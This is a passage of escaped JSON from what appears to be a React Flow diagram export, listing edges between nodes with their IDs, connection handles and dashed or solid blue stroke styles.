\"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"RBrIP5KbVQ2F0ly7kMfTo\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"jWwA6yX4Zjx-r_KpDaD3c\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-RBrIP5KbVQ2F0ly7kMfToy2-jWwA6yX4Zjx-r_KpDaD3cz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"RBrIP5KbVQ2F0ly7kMfTo\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"dlG1bVkDmjI3PEGpkm1xH\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-RBrIP5KbVQ2F0ly7kMfToy2-dlG1bVkDmjI3PEGpkm1xHz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"RBrIP5KbVQ2F0ly7kMfTo\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"4_q73_Fz02yj45i7NcRlA\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-RBrIP5KbVQ2F0ly7kMfTox2-4_q73_Fz02yj45i7NcRlAw1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"RBrIP5KbVQ2F0ly7kMfTo\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"STQQbPa7PE3gbjMdL6P-t\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-RBrIP5KbVQ2F0ly7kMfToz2-STQQbPa7PE3gbjMdL6P-ty1\",\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"STQQbPa7PE3gbjMdL6P-t\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"3OYm6b9f6WOrKi4KTOZYK\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-STQQbPa7PE3gbjMdL6P-tz2-3OYm6b9f6WOrKi4KTOZYKy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"STQQbPa7PE3gbjMdL6P-t\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"381Kw1IMRv7CJp-Uf--qd\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-STQQbPa7PE3gbjMdL6P-tz2-381Kw1IMRv7CJp-Uf--qdy2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"STQQbPa7PE3gbjMdL6P-t\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"NAGisfq2CgeK3SsuRjnMw\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-STQQbPa7PE3gbjMdL6P-tz2-NAGisfq2CgeK3SsuRjnMwy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"STQQbPa7PE3gbjMdL6P-t\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"mGfD7HfuP184lFkXZzGjG\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-STQQbPa7PE3gbjMdL6P-tx2-mGfD7HfuP184lFkXZzGjGw2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"mGfD7HfuP184lFkXZzGjG\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"LJt27onEOeIBomiEMTyKd\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-mGfD7HfuP184lFkXZzGjGx2-LJt27onEOeIBomiEMTyKdw2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LJt27onEOeIBomiEMTyKd\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Z7jp_Juj5PffSxV7UZcBb\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-LJt27onEOeIBomiEMTyKdz2-Z7jp_Juj5PffSxV7UZcBby1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LJt27onEOeIBomiEMTyKd\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"qSAdfaGUfn8mtmDjHJi3z\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-LJt27onEOeIBomiEMTyKdz2-qSAdfaGUfn8mtmDjHJi3zy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LJt27onEOeIBomiEMTyKd\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"rq_y_OBMD9AH_4aoecvAi\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-LJt27onEOeIBomiEMTyKdz2-rq_y_OBMD9AH_4aoecvAiy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LJt27onEOeIBomiEMTyKd\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"bQnOAu863hsHdyNMNyJop\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-LJt27onEOeIBomiEMTyKdz2-bQnOAu863hsHdyNMNyJopy2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LJt27onEOeIBomiEMTyKd\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Ge2SnKBrQQrU-oGLz6TmT\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-LJt27onEOeIBomiEMTyKdz2-Ge2SnKBrQQrU-oGLz6TmTy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LJt27onEOeIBomiEMTyKd\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"GwApfL4Yx-b5Y8dB9Vy__\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-LJt27onEOeIBomiEMTyKdz2-GwApfL4Yx-b5Y8dB9Vy__y2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LJt27onEOeIBomiEMTyKd\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"SYXJhanu0lFmGj2m2XXhS\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-LJt27onEOeIBomiEMTyKdz2-SYXJhanu0lFmGj2m2XXhSy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LJt27onEOeIBomiEMTyKd\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"95d9itpUZ4s9roZN8kG9x\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-LJt27onEOeIBomiEMTyKdx2-95d9itpUZ4s9roZN8kG9xz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"95d9itpUZ4s9roZN8kG9x\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"y-xkHFE9YzhNIX3EiWspL\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-95d9itpUZ4s9roZN8kG9xy2-y-xkHFE9YzhNIX3EiWspLz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"95d9itpUZ4s9roZN8kG9x\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"zWstl08R4uzqve4BdYurp\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-95d9itpUZ4s9roZN8kG9xy2-zWstl08R4uzqve4BdYurpz1\",\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"95d9itpUZ4s9roZN8kG9x\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"wrl7HHWXOaxoKVlNZxZ6d\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-95d9itpUZ4s9roZN8kG9xy2-wrl7HHWXOaxoKVlNZxZ6dz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"95d9itpUZ4s9roZN8kG9x\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"LAdKDJ4LcMaDWqslMvE8X\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-95d9itpUZ4s9roZN8kG9xy2-LAdKDJ4LcMaDWqslMvE8Xz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"95d9itpUZ4s9roZN8kG9x\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"ruK1Bf7XVIgOHguNFxYlY\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-95d9itpUZ4s9roZN8kG9xz2-ruK1Bf7XVIgOHguNFxYlYw1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ruK1Bf7XVIgOHguNFxYlY\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"9Fpoor-Os_9lvrwu5Zjh-\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-ruK1Bf7XVIgOHguNFxYlYx2-9Fpoor-Os_9lvrwu5Zjh-w2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"9Fpoor-Os_9lvrwu5Zjh-\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"6XIWO0MoE-ySl4qh_ihXa\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-9Fpoor-Os_9lvrwu5Zjh-y2-6XIWO0MoE-ySl4qh_ihXaz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"9Fpoor-Os_9lvrwu5Zjh-\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"BvHi5obg0L1JDZFKBzx9t\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-9Fpoor-Os_9lvrwu5Zjh-y2-BvHi5obg0L1JDZFKBzx9tz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"9Fpoor-Os_9lvrwu5Zjh-\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"I-PUAE2AzbEaUkW9vMaUM\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-9Fpoor-Os_9lvrwu5Zjh-y2-I-PUAE2AzbEaUkW9vMaUMz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"9Fpoor-Os_9lvrwu5Zjh-\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"u8IRw5PuXGUcmxA0YYXgx\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-9Fpoor-Os_9lvrwu5Zjh-y2-u8IRw5PuXGUcmxA0YYXgxz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"9Fpoor-Os_9lvrwu5Zjh-\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"wqE-mkxvehOzOv8UyE39p\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-9Fpoor-Os_9lvrwu5Zjh-y2-wqE-mkxvehOzOv8UyE39pz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"tHiUpG9LN35E5RaHddMv5\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Ke522R-4k6TDeiDRyZbbU\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-tHiUpG9LN35E5RaHddMv5x2-Ke522R-4k6TDeiDRyZbbUw2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"9Fpoor-Os_9lvrwu5Zjh-\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"SGVwJme-jT_pbOTvems0v\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-9Fpoor-Os_9lvrwu5Zjh-x2-SGVwJme-jT_pbOTvems0vw1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ruK1Bf7XVIgOHguNFxYlY\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"tHiUpG9LN35E5RaHddMv5\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-ruK1Bf7XVIgOHguNFxYlYz2-tHiUpG9LN35E5RaHddMv5y1\",\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SGVwJme-jT_pbOTvems0v\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"vDaxr8AIaPbG_3mHr0N6X\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SGVwJme-jT_pbOTvems0vy2-vDaxr8AIaPbG_3mHr0N6Xz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"gKTSe9yQFVbPVlLzWB0hC\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"yrIcuOg64FTqhwz1CSczg\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SGVwJme-jT_pbOTvems0v\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"nJ5FpFgGCRaALcWmAKBKT\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-SGVwJme-jT_pbOTvems0vz2-nJ5FpFgGCRaALcWmAKBKTw2\",\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"nJ5FpFgGCRaALcWmAKBKT\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"gKTSe9yQFVbPVlLzWB0hC\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-nJ5FpFgGCRaALcWmAKBKTy2-gKTSe9yQFVbPVlLzWB0hCz2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gKTSe9yQFVbPVlLzWB0hC\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"fekyMpEnaGqjh1Cu4Nyc4\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-gKTSe9yQFVbPVlLzWB0hCy2-fekyMpEnaGqjh1Cu4Nyc4z2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"fekyMpEnaGqjh1Cu4Nyc4\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"5XGvep2qoti31bsyqNzrU\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-fekyMpEnaGqjh1Cu4Nyc4x2-5XGvep2qoti31bsyqNzrUy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"5XGvep2qoti31bsyqNzrU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"RUSdlokJUcEYbCvq5FJBJ\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-5XGvep2qoti31bsyqNzrUz2-RUSdlokJUcEYbCvq5FJBJy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"5XGvep2qoti31bsyqNzrU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"sVuIdAe08IWJVqAt4z-ag\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-5XGvep2qoti31bsyqNzrUz2-sVuIdAe08IWJVqAt4z-agy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"5XGvep2qoti31bsyqNzrU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"osvajAJlwGI3XnX0fE-kA\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-5XGvep2qoti31bsyqNzrUz2-osvajAJlwGI3XnX0fE-kAy2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"5XGvep2qoti31bsyqNzrU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Tt7yr-ChHncJG0Ge1f0Xk\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-5XGvep2qoti31bsyqNzrUz2-Tt7yr-ChHncJG0Ge1f0Xky1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"5XGvep2qoti31bsyqNzrU\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"T-5VzcfnC9gdSD9zJfGei\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-5XGvep2qoti31bsyqNzrUx2-T-5VzcfnC9gdSD9zJfGeiw1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"T-5VzcfnC9gdSD9zJfGei\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"F8frGuv1dunOdcVJ_IiGs\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-T-5VzcfnC9gdSD9zJfGeiy2-F8frGuv1dunOdcVJ_IiGsw1\",\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"r45b461NxLN6wBODJ5CNP\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"kdulE3Z_BdbtRmq6T2KmR\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-r45b461NxLN6wBODJ5CNPz2-kdulE3Z_BdbtRmq6T2KmRy1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"F8frGuv1dunOdcVJ_IiGs\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"SHmbcMRsc3SygEDksJQBD\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-F8frGuv1dunOdcVJ_IiGsz2-SHmbcMRsc3SygEDksJQBDw1\",\n      \"selected\": false,\n      \"type\": \"step\",\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SHmbcMRsc3SygEDksJQBD\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"yAWJWj4D761M0i8iERID3\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-SHmbcMRsc3SygEDksJQBDy2-yAWJWj4D761M0i8iERID3z1\",\n      \"selected\": false,\n      \"type\": \"simplebezier\",\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SHmbcMRsc3SygEDksJQBD\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"f7iWBkC0X7yyCoP_YubVd\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-SHmbcMRsc3SygEDksJQBDz2-f7iWBkC0X7yyCoP_YubVdy2\",\n      \"focusable\": true\n    },\n    {\n      